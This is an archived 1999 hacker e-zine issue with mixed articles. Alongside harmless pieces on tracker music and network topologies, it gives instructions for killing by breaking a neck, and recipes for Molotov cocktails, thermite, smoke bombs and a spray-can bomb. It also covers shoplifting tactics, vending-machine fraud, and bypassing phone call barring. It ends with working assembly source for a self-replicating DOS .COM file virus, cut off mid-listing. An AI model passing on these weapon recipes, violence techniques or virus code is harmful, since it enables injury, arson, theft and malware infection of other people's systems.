💾 Archived View for clemat.is › saccophore › library › ezines › textfiles › ezines › UP › up-7.txt captured on 2021-12-05 at 23:47:19.
View Raw
More Information
-=-=-=-=-=-=-
___________ _______________________________________
", / / ___ _.-'' '.
/ / / / /NDERGROUND> .' _ |
/ / / / / _______ / / \ /
/ / / / / / ___ \ / __/_.' /
/ / / / / / /__/ / /.-'' .'
/ / / / / / _____.' /_________..-'
/ / / / /___/ /_ / /
/ / / '.____ __/ / /
| / / / / / /
\ | _.' /__/ERIODICAL> / /
'-._'..-'_______________________________/__..-'
We're On The Up And Up
:..:..::..Issue..::..:..:
Issue 7 November 1999
:..:..::..Staff..::..:..:
CrossFire - Editor
ergophobe (Walrus) - Editor
Mirage - Writer
Devlin - Writer
Pyr0 Proxy / PoZ-i - Writer
Website
http://members.xoom.com/under_p
:..:..::..Email..::..:..:
under_p@yahoo.com
:.:.Alternative Hosts.:.:
http://www.swateam.org
http://surf.to/maquishacker
http://surf.to/awol4life
http://mobboss.dragx.cx
http://walrus.bog.net
http://packetstorm.securify.com
:..::..Introduction.::..:
<*> Welcome to Up7! A lot of things have changed this month,
3 More people (Mirage, Devlin And Pyr0 Proxy) have joined the
Staff. Walrus Has also Been promoted to co-editor because he kept
coming up with such good ideas it was the most sensible thing
to do. Darkflame Has Been kicked from the Up staff because of
inactivity.
We Didn't get ANY mails concerning Up6 in the past month, so get
your asses into gear and tell us what you think. I'm sorry if the
issue was released a bit late this month, this month I've had to
chase people to write us articles (more than usual), heck - we even
have a couple of articles from HuSoft (damned good articles too)
who was the main 'character' in last month's IP Spanking Feature.
Official Cool Person Of The Month: Phreakazoid - For giving me a nice
shiny bt internet dialup :)
Right, on with the mag. Please send feedback and articles to:
under_p@yahoo.com - Most articles sent to us do get included, and you
can plug your website at the end of it if you want.
:..::.:..Contents.:.::..:
<*> 0 - Introduction And Contents...: CrossFire
<*> 1 - Unarmed Hand To Hand Combat.: Pyr0-Proxy
<*> 2 - Tracking Corner.............: Ergophobe
<*> 3 - Random Anarchy..............: PoZ-i
<*> 4 - Networking..................: Mirage
<*> 5 - BT Call Barring.............: CrossFire
<*> 6 - Pity Virus..................: EXE-Gency
<*> 7 - Gelf Virus..................: EXE-Gency
<*> 8 - Hacking Novell Netware......: HuSoft
<*> 9 - Password Security...........: HuSoft
<*> 10 - Tracked Music Reviews.......: Walrus & CrossFire
<*> 11 - 0800 Scans..................: Ergophobe
<*> 12 - Eggdrop Hacking.............: Mob Boss
<*> 13 - Free Calls with Ureach......: Mob Boss
<*> 14 - Playstation Piracy..........: CrossFire
<*> 15 - Disclaimer and End..........: UP Staff
_____ _____ ___ ___ __ __
/ | \| _ \ \ \/ /| | |
/ \ __/ \ / | | |
\ / | \ / | | |
\_____/|__| \/ |__|__|
PRESENTS:
Unarmed Hand To Hand Combat
Part 1 - Attacking
By Pyr0-Pr0xy
First of all, let me say that none of the techniques described here should be used on innocent, defenceless people. Unless you don't like them.
"Attack is the best form of defence" - Sometimes this can be true, and sometimes you might just want to kick the shit out of someone. The following text should be useful.
There are seven areas of your body, which can be used to attack another person:
1) The Knee
2) The Heel of the foot
3) The ball of the foot
4) Middle finger and ring finger end
5) Elbow
6) The knife edge of hand/little finger
7) The Fist/side fist
A fundemental rule, which has to be observed after an attack using any part of the body, is that you must immediately bring back the attacking limb to its starting point. E.g, when you hit someone, you should make contact, then bring your arm back. If you don't, it greatly reduces the effectiveness of the attack.
When attacking someone, (in defence of course), there are certain areas of the body that you should always aim to hit. A blow to one of these areas can bring down a man much quicker than repeated blows to an inneffective area.
They are:
The top of the head - not very useful, unless you have a baseball bat.
Between the Eyes - Can be poked, or struck with the fist. Causes pain and can break the neck if done with sufficient force.
The temples - A sideways blow, with the little finger edge of the hand, to either temples, or both can cause unconsciousness, and even death.
Behind the ears - If your opponent is already on the ground, and at your mercy, you can inflict great pain by pressing the knuckle of you second finger into the flesh part just behind the ear lobe
The upper lip - This can be hit with the little finger edge of the hand, and with the fist, and causes extreme pain, due to a bundle of nerves being close to the skin
Chin - Can be attacked with the fist or elbow, and can knock someone out if hit with enough force
Neck - If you manage to hit someone in the throat, just above the voice box, it tends to fold the windpip inwards, which isn't a good thing for the owner of the throat.
Pit of the stomach - This spot can be hit with the fist, elbow, knee or can be kicked. It is one of the most vunerable sopts on the body. When kicking your opponent in this spot, keep the toes curved and deliver the blow with the ball of the foot. Withdraw the foot instantly, to delvier maximum force.
The Lower ribs - This hurts like hell, and can cause internal damage. Stuck with the foot, and the fist.
About 5cm below the navel - Kick this. Hard. It Hurts. Lots.
Testicles - Does this really need explanation???!?!
Knee Joint - It can be kicked, from the side, with a downward motion, which snaps the joint.
Generally, there is not many technical techniques that can be used when attacking, that actually work. Your best bet is to attack first, attack fast, and attack hard. Don't stop attacking until your opponent is on the floor, and not moving, and you will be safe from retalliation. Surprise attacks work best, as your opponent has little or no time to prepare himself.
If you *really* don't like someone ;-) , then it is quite simple to kill someone with your bare hands. The main area of weakness is the head and neck. The skull is designed to take shocks fowards and backwards, not sideways. So, a violent sideways blow can, if delivered with sufficient force, kill a person. It should at least render them unconscious.
Breaking a persons neck is a very quick and easy way to send them to their doom. The easiest way to acheive this from behind is to wrap your right arm around around the right side of their head, across the forehead, grasping the left side of their head, and with your left arm, go across your body, and grab the back, right side of their head. Move your hand closer together, with a violent lunge, twisting their head with a sideways motion. Alternatively, you can place your left hand in the pit of their neck, then grab their forehead with your right hand. Push forwards with your left, and backwards with your right.
Finally, let me just say that when attacking, you should always look for weak spots on your opponents body(s). Each person will have a weak spot, some place on their body that you can exploit.
Next time, I will be dealing with how to cover up *your* weak spots, and how to react to, and defend from different attacks.
_____ _____ ___ ___ __ __
/ | \| _ \ \ \/ /| | |
/ \ __/ \ / | | |
\ / | \ / | | |
\_____/|__| \/ |__|__|
PRESENTS:
Tracking corner
~~~~~~~~~~~~~~~
By: ergophobe
Hopefully this will turn into a regular feature as a kind of forum for general information/rants and raves about tracking.
The basic theme I'm going to be exploring this month is the idea of realism within tracked music.
Up until the advent of computers, musicians have been very limited in what they can do with their music. Simple things such as having only two arms have greatly influenced the way that instruments and consequently music have been structured. But all that has changed. Using a tracker, we can now have things which were never possible before such as snare fills and hihats at the same time, or playing 3 notes simultaneously on a flute. This has dramatically shaped the music of our time. Many of the sounds which are used in music today, particularly trance, are only possible because of synthesisers and the sounds and effects which these can create. The reason that we have music such as hardcore, techno and drum 'n' bass is because we can. Music such as this is very technology driven, and advances in the technology which is available are being taken advantage of all the time.
However this is not always a good thing. The classic example is the fact that timestretching samples is now incredibly easy has probably lead to the huge increase in the number of ripoffs being released at the moment in the hardcore scene. Less obvious is the fact that people often forget that these limitations have been lifted. When tracking a piece of techno or hardcore, just about anything goes in terms of physical limitations of your performers. The only thing you need to worry about is a nice DJ friendly intro and outro.
However when tracking a piece of heavy metal, you've got to remember that your drummer can not play 2 bassdrums and pedal a hi-hat at the same time because he doesn't have three legs. In this respect, you need to think very carefully about the way that you use a tracker. Even down to researching the range of notes that certain instruments can play. For example, piccolo's simply do not play low notes.
There is an additional aspect to the idea of physical limitation, which is the idea of speed. You have to think about exactly how fast it is possible for a person to play. A piece at 350bpm may work fine in a tracker, but when you give it to real musicians to play, its simply not going to work.
Finally it is important to consider what variety of the instrument is most appropriate. For most general saxophone parts, alto or tenor is fine, but for those higher notes, soprano is more effective, and for the really low bass parts, a baritone sax is better.
To add extra touches of realism, it is worth thinking about how the piece would actually be played. A pianist will not strike each key with exactly the same velocity every time, there will be slight variations in volume. It is also rare that a saxophonist will play each note exactly the same and completely crisp. If you listen very closely, you will notice that it is common for the note to bend slightly.
So when you're tracking, take into account the style you are actually composing in, the instruments you are using and what effect you are actually trying to create with them.
ergophobeRandom Anarchy
by PoZ-i
Fun with Fire and Smoke
-----------------------
This may sound obvious, but *much* fun can be had with fire. You'd be
Surprised at the amount of things that burn exceptionally well,
especially with a little help. Here are some ideas.
#1) Flame Throwers
Take any spray can; hold a lighter by the nozzle, and spray!
#2) Car Mayhem
Light something, throw it under a car, and wait for the owner to
come running!
#3) Flour Fire-ball
Get a candle and some flour. Light the candle and put some flour
in your hand. Try various ways of getting the flour to leave your
hand and become dust over the candle flame. The enormous surface
area allows all the tiny dust particles to burn all at about the
same time creating a fireball effect.
#4) Molotov Cocktail
This now famous device is easy to make, but deadly when used.
Simply take a glass bottle (a milk bottle will do fine) and fill
with 3/4 petrol or lighter fluid, and 1/4 oil. Shake this mixture
well. Dip a piece of torn rag into the mixture, and stuff it into
the neck of the bottle. If no rags are available, a tampon works
just as well. Light the rag, then throw the bottle, making sure it
smashes. The oil makes the mixture stick to surfaces.
#4) Fire Fudge
Take some flour, and mix it in with petrol. The resulting mixture
should have a dough like consistency. You could throw it at a window
or wall, and then light, or you could make a modified molotov cocktail
with it. (see above)
#5) Carrier Bags
Take some carrier bags, and stuff then into a crack in a window, or on
someone's doorstep. Burn them, and they melt to form a sticky gooey mess
that is very hard to remove!
#6) Thermite
This one needs some before hand preparation, so plan a week ahead.
Thermite is basically a material, that when lit, takes advantage of
the extremely hot (2200 degrees C) exothermic reaction that is produced
when finely powdered aluminum filings are mixed with Ferric Oxide (rust)
The two materials should be mixed at a 50/50 ratio, and gently heated
until the iron glows red hot. The resulting material, when lit, will
burn through most materials, including carbonized steel! It is very
difficult to light however, and the best way to do so is using a
magnesium strip.
#7) Smoke!
This crude but effective smoke bomb will produce *a lot* of smoke when
made correctly. Simply mix together Potassium Nitrate (also known as
Salt Petre) and sugar, in the ratio 3:1. Add some sulfur for some more
smoke if necessary. Heat the mixture in a tin can gently, as you don't
want a whole batch of this stuff going off in your kitchen. Heat it
until the sugar melts. You should now have a white mixture, with sticky
lumps in it. Simply throw a camping match in the tin to light! A fuse
is recommended, as the amount of smoke this baby produces will turn heads.
I know from experience that this is *very* effective!
#8) More smoke!
This is another way to make lots of smoke, very easily. Simply mix
6g of zinc powder with 1g of sulfur powder. Stick a red-hot wire into
the mixture, and stand back, as much smoke is produced.
#9) Spray-can bomb.
This relatively small explosive is perfect if you are short of any
'proper' explosive materials. It uses the gases inside a spray can
(butane, propane) to create an mild explosion.
You will need:
1) a spray can (WD-40 is best, as the oil is also flammable, but any old deoderant can will do)
2) firelighters (if no firelighters are avaiable, then a bundle of rags
soaked in petrol or lighter fluid would work)
3) Something to light it with
4) a large elastic band or piece of string
Take the cap and the nozzle off the can, then using the elastic band or
string, tie the fire lighters, or your other flammable material to either
side of the can.
Now light the flammable material, and run! you will have around 30 secs
to a minute, depending on what materials you used. When the can heats up enough, it will explode, lighting the contents, and producing a loud bang!, accompanied by a reasonable fireball.
The more cans that are used, the louder, and larger the explosion!
Stealing
--------
Stealing stuff from shops if surprisingly easy, especially if you have
a mate to help. Most shop keepers are so dumb they wouldn't notice if
you took the till away from under their noses.
however, People don't notice stuff, but camera's do.
- Never* take anything when in view of a camera, (unless you are on
holiday in Germany of course) unless you want to get caught.
Understand though, there are different types of camera. First there are
the ones that are totally fake. These are tricky to spot, but they usually
have a 'realistic' flashing light. My advice is don't risk it, there are
easier places to rob from. Leave any cameras alone, unless they are the
type that don't actually record anything, they just let the shop keeper
look at the other end of the shop. If these are in place, simply get a
friend to distract the dick behind the counter, while you get the
stuff. This is probably the best method to steal anything. Get a friend
or friends to go in one area of the shop, and look really suspicious.
All attention will be diverted to them, while you take the stuff.
When taking stuff, the best clothes to wear, are combat trousers (the type
with really big pockets in the legs), and any jacket with many pockets,
especially the hidden type. Also wear a cap, so that if you are accidentally
caught on camera, it will be harder for them to recognize you.
If you do happen to notice a shopkeeper following you after you have taken
something, simply replace the items on a shelf, any shelf. If they take you
in when you still have stuff in your pockets, but you haven't left the shop,
simply say that you haven't had the chance to pay, and that you had every
intention of paying. Even if you get prosecuted, they won't have any kind of
a case against you, as you could have still paid.
Coin Vending Machines
---------------------
This is an idea to fuck over a coin vending machine:
Most modern machines work by passing an electric current through the coin, and
judging the value of it by the amount of resistance it offers. So what would
happen if you were to pour a salt-water solution into the coin slot? The whole
fucking machine would start throwing out money and chocolate randomly! Try it! You'll Like It!
A Series On Networking
1) Who is that guy Mirage ?
2) Networking
Hello readers of UP, this is my first article for UP and I hope you like it.
To those of you who don't know me, you would if you hang on the krash server shame
on you. Well you can catch most of us there on the weekend on krash.dyndns.org 6667.
These are some of the popular channels #apt, #hdc, #krash, #cocytusUK but keep your
eyes open for others. Well some of you are probably wondering who is this guy Mirage ?
Well erm... in a nutshell i'm a person very curious about computer security issues
and generally anything to do with comuters. Ok my first article will be on networking
from the basics to more advanced techniques used; from my experience anyway. This will be in a long line of articles so stay tunned!
-Mirage-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=--=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
To start of the series of tutorials we are first going to take a beginners look
at network topologies:
My definition of a network topology is that it is a description of the layout of
communication medium (cabling), and devices on a network (printers, peripheral etc).
In this article I will cover the following topologies: point to point, mesh, bus,
ring, star and hybrid.
Point to point
This is a very simple one basically you have two computers connected to each other
via communication media. Obviously routing is not necessary, as this is a simple
"point to point" topology. It's main use is for file transferring or two player Quake.
This topology is not really used these days but I thought I'd mention it.
Mesh
A Mesh topology basically provides each computer on the network with a point to
point connection. In my experience Mesh topologies most of the time can provide
fast, reliable data transmission. The reason why Mesh aren't so widely used is for
the simple reason that they waste communication channels; which in a growing
company would very impratical. Despite the advantages of having a dedicated
connection the wasting of communication channels just isn't practical.
Bus
This is the most commonly used well from what i've seen. A Bus topology as it's
name suggests uses a single communication medium (usually coaxial) to transmit
data. This works pretty simply e.g. erm... short links of cable tap directly into
the main Bus simple as I said. At each ends of the Bus are terminating devices
which prevent echoing when the signal reaches the end of the main Bus. If you don't
know what echoing is well its simple it would produce the effect of multiple
signals on the main Bus. I remember a friend had set up a network using this
topology and asked me to see why it wasn't working it was so easy to fault find,
it was just a badly made cable that wasn't built right. He said he spent over 3
hours trying to fix the network. The twat even formatted all the computers and
started again DOH! So remember to check you cabling first.
Ring
This is a real irritating network if one computer goes down so do all of them.
Righty then well this topology connects computers in a continuous loop. On the
upside signal quality on these networks is good as the signals are retransmitted
by each computer to the next computer and so on the signal keeps getting relayed.
The reason why I say this is an upside is because there is very little loss in
signal quality as the signal is always being replayed.
Star
Things start to get more interesting here with the introduction of hubs in
networks. In a Star topology the cabling branches out from a central hub. Then
the hub transmits signals from computer to computer, nice huh. If your not a tight
git and you invest in a decent hub you can pick one up that will increase the signal
quality over the network and wait for it yes you guessed it keep portions of the
network in operation should a cable break or other problem occur. There not that
expensive to put together actually and fault finding is so easy. On the downside
it has a low data rate.
Hybrid
In my experience I have found that Hybrid topologies can be very tricky to
establish and manage. Well Hybrid topologies have to combine two or
more to be considered a Hybrid topology. A lot of wide area network's (WAN's) use
this topology as they have the ability to connect several local area network's
(LAN's. Oh yeah and they can be dame expensive and trouble shooting can really
be dawnting.
Well readers thats it for this issue stayed tunned for the next issue which we
will be looking at communication medium.
-Mirage-
UIN:54387080
E-mail:dk306@hotmail.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Hope You Enjoyed It!
Mirage
| _> _ _ ___ ___ ___| __><_> _ _ ___
| <__| '_>/ . \<_-<<_-<| _> | || '_>/ ._>
`___/|_| \___//__//__/|_| |_||_| \___. Presents....
Bypassing BT Call Blocking
v1.0
This file comes about after a phone conversation with Walrus, in which he told me someone had emailed him asking about getting past Bt Call Blocking. Because of a certain �225 Phone Bill, my Parents decided to put Call Blocking on our phoneline. Bastards. From What I can gather, Call Barring works by The Line owner entering a pin (duh), and after which a connection seems to be made to a BT Number, on which a fake dial tone is made.
One Way I have found to circumvent this, is If you have a mobile phone or similar, call Up the 17070 Outdial that Ergophobe Mentioned last month (0800 373983) , and select the Cable Pair Identification Feature. Cable Pair Identification basically is a feature that Engineers can use to test lines, cutting off all traffic to the line in the process (And no It doesn't work on freeserve <g>). From My Findings, this temporarily allows you to make a call, but you have to be quick, because the barring comes back on pretty soon.
Another, More Foolproof way to Bypass Call Barring is to try Hacking the Pin Code. From what I've found out, the pin code is 6 numbers long, but the line owner does NOT Select the pin, so don't bother trying your pets second cousins brother in law's wife's birthdate - It aint worth it.
Once You've Hacked the code, your going to want to deactivate the barring (duh), and to do that you need a special code - here is a list of all the codes that activate / deactivate various things in the BT System (Thanks To EXE-Gency For These):
141 withhold number
1471 gives details of last number to call you
1474 call the last number to call you.
1470 un-withhold your number if you have a perm-=Withhold-
150 - BT Customer Service
151 - BT Fault Reporting
155 - International Operator
153 - International Directory Enquiries
192 - UK Directory Enquiries
*21* - Divert all calls
*#21# - Check divert (high tone on/low tone off)
#21# - cancel divert
*261# - Barrs all Incoming calls
*#261# - Check incoming call barring
#261# - Cancel incoming call barring
*34x# - Switch ON Call Barring (where x = option number)
*#34x# - Check Call Barring
#34x*PIN# - Cancel Call Barring option
#34*PIN# - Cancel All Call Bars
Call Bar Options - 1 - bars almost all calls/allows 999/151
2 - bars calls starting with "0"
3 - bars international calls
4 - bars calls starting with 1 except 151
5 - bars calls using *
6 - bars premium rate adult services
7 - bars all premium rate services
*41# - Switch Call Waiting on
#43# - Switch Call Waiting off
*#43# - Check Call Waiting status (high tone on/low tone off)
*52# - Details of last outgoing call (Gives number)
#52# - Delete details of last call
*54# - Redial last outgoing call.
*61* - Divert if no reply
*#61# - Check divert
#61# - Cancel divert on no reply
*62*xxxxxxxxx# - Divert on NOT AVAILABLE (Currently not installed
*65*xxxxx# - Not sure what this does. (need pin number)
*66*xxxxxxxxx# - Divert on No Reply and Busy..
*67* - Divert if busy
*#67# - Check divert
#67# - Cancel divert on busy
Yeah, Short File I know, but I hope you find it useful. Please Send All Feedback / Flames / Death Threats / Bribes to: crossfire@antionline.org .
_____ _____ ___ ___ __ __
/ | \| _ \ \ \/ /| | |
/ \ __/ \ / | | |
\ / | \ / | | |
\_____/|__| \/ |__|__|
PRESENTS:
The Pity Virus
By EXE-Gency
Comment #
�����������������������������������������������������������Ŀ
� T H E ( P I T Y ) V I R U S � �
� B Y E X E - G E N C Y � �
����������������������������������������������������������� �
�������������������������������������������������������������
Okay, this the the very first non-overwriting virus I wrote.
Here are some details about the Pity virus:
Name : Pity
Author : EXE-Gency
Size : about 500 bytes (file growth)
Type : Non-resident, non-overwriting, non-encrypted.
Targets : *.COM
Stealth : Restores files attributes, time and date stamp
General : Infects all files in the current directory.
Searches current directory with FindFirst/Next functions.
Won't re-infect files.
Won't infect files whose first two bytes add up to 167 (such
as MZ or ZM in .EXE files)
Won't infect files smaller than 500 bytes (1F4h.)
Won't infect files larger than 60,000 bytes (EA60h.)
Won't infect files whose name is recognised by the filemask
CO*.COM so as not to infect the file COMMAND.COM.
Uses the JMP instruction (E9h) as it's infection marker.
Puts the DTA (Disk Transfer Area) at the bottom of the file
during execution, so that the parameters to .COM files
are not overwritten when called to FindFirst (4Eh) and
FindNext (4Fh) functions.
To assemble type: TASM PITY.ASM
TLINK /T PITY.OBJ
DO NOT RUN THE PITY.COM FILE IT IS THE VIRUS!
������������������������������������������������������������������������������
#
Prog segment
assume cs:Prog, ds:Prog
org 0100h ; Leave room for PSP
Begin: db 0E9h, 00h, 00h ; JMP The Start
; (1st generation only)
TheStart: call Get_Delta ; Push IP
Get_Delta: pop bp ; Pop IP into BP
sub bp, offset Get_Delta ; Get File Size
lea si, [bp + Buffer] ; SI points to buffer
mov di, 0100h ; DI points to 1st byte
movsb ; Move 1 byte
movsw ; Move 1 word (2 bytes)
mov ah, 1Ah ; Set DTA
lea dx, [bp + TheEnd] ; To end of virus
int 21h ; Do it!
mov ah, 4Eh ; FindFirst
lea dx, [bp + FileMask] ; DX points to *.COM
mov cx, 0007h ; File attribs
FindNext: int 21h ; Do it!
jnc $+5 ; No error? Continue
jmp ReturnToHost ; No more files!
mov ax, 4301h ; Set attribs
mov cx, 0000h ; To zero
lea dx, [bp + TheEnd + 1Eh]; DX points to FileName
int 21h ; Do it!
jnc $+5 ; No error? Continue
jmp FindMore ; Error? Find another
mov ax, 3D02h ; Open file R/W
lea dx, [bp + TheEnd + 1Eh]; DX points to FileName
int 21h ; Do it!
jnc $+5 ; No error? Continue
jmp FindMore ; Error? Find another
xchg ax, bx ; BX=File Handle
mov ah, 3Fh ; Read file
mov cx, 03h ; 3 bytes
lea dx, [bp + Buffer] ; Put in buffer
int 21h ; Do it!
lea cx, word ptr [bp + offset Buffer]
; Put first 2 bytes into CX
add cl, ch ; Add together
cmp cl, 0A7h ; Is it MZ or ZM?
je RestoreAttr ; Yep, close file
cmp byte ptr [bp + Buffer], 0E9h ; Infected?
jne $+5 ; No, continue
jmp RestoreAttr ; Yep, restore+close
cmp word ptr [bp + TheEnd + 1Eh], 'OC'
; COMMAND.COM file?
jz RestoreAttr ; Yep, close file
mov ax, 4202h ; Goto EOF
mov cx, 0000h
mov dx, 0000h
int 21h ; Do it!
sub ax, 03h ; reduce by 3
mov word ptr [bp + JumpBytes+1], ax
; Append offset to JuMP instruction
cmp ax, 01F4h ; Less that 500 bytes?
jb RestoreAttr ; Yep! Find more
cmp ax, 0EA60h ; More than 60,000?
ja RestoreAttr ; Yep! Find more
mov ah, 40h ; Write file
mov cx, TheEnd - TheStart ; CX = Virus size
lea dx, [bp + TheStart] ; Beginning of virus
int 21h ; Do it!
mov ax, 4200h ; Set file pointer to start of file
mov cx, 0000h
mov dx, 0000h
int 21h ; Do it!
mov ah, 40h ; Write file
mov cx, 03h ; 3 bytes
lea dx, [bp + JumpBytes] ; DX points to buffer
int 21h ; Do it!
RestoreAttr: mov ax, 4301h ; Set file attribs
mov cx, word ptr [bp + TheEnd + 15h] ; From DTA
lea dx, [bp + TheEnd + 1Eh]; DX points to filename
int 21h ; Do it!
RestoreTDStamp: mov ax, 5701h ; Set file time/date
mov cx, word ptr [bp + TheEnd + 16h] ; from DTA
mov dx, word ptr [bp + TheEnd + 18h] ; from DTA
int 21h ; Do it!
CloseFile: mov ah, 3Eh ; Close file
int 21h ; Do it!
FindMore: mov ah, 4Fh ; Find Next
jmp FindNext ; Call int 21h
ReturnToHost: mov ah, 2Ch ; Get time
int 21h ; Do it!
cmp dl, 00h ; sec=0?
je DisplayMessage ; Yep, display message
Restore: mov ah, 1Ah ; Set DTA
mov dx, 80h ; Back to ofs 0080h
int 21h ; Do it!
mov ax, 0100h
push ax ; Push 100h
ret ; Ta ta!
DisplayMessage: mov ah, 09h ; Display message
lea dx, Message ; DX holds offset
int 21h ; Do it!
int 20h ; Return to OS
FileMask db '*.COM', 00h ; ASCIIZ File Mask
Message db '[Pity] Virus '
db 'Written by EXE-Gency!'
db 0Dh, 0Ah, '